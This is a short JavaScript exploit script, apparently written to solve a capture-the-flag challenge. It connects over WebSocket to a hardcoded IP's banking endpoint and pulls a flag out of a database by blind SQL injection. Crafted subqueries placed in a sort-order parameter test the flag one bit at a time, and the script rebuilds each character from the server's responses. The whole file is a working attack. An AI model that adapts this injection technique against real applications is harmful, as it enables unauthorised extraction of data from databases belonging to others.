flag_read.js

var count = 0;
var character = 0;
var handleLoad2 = function() {
  ws = new WebSocket("ws://1.234.27.139:38090/banking");
	ws.onopen = function(){
		console.log("opened.");
		ws_ready = 1;
	}
	ws.onclose = function(){
		console.log("closed!");
	}
	ws.onmessage = function(evt){
        var res = (evt.data == '{"c":"list","m":"[]"}');
        
        if (res) {
            character += Math.pow(2, count);
        }
        
        count++;
        
        if (count == 8) {
            console.log(String.fromCharCode(character));
            count = 0;
        }
	}
}
var get_letter = function(limit_id, letter_id) {
    character = 0;
    count = 0;
    for(var i = 0; i < 8; ++i) {
        var x = Math.pow(2, i);
        var payload = "desc, (select t.flag from (select flag from flag_db.flag_tbl limit " + limit_id + ",1) t where ord(substring(t.flag," + letter_id +",1))& " + x + "=" + x + " union all select 1) limit 1,1";
        
        listing("balance", payload);
    }
}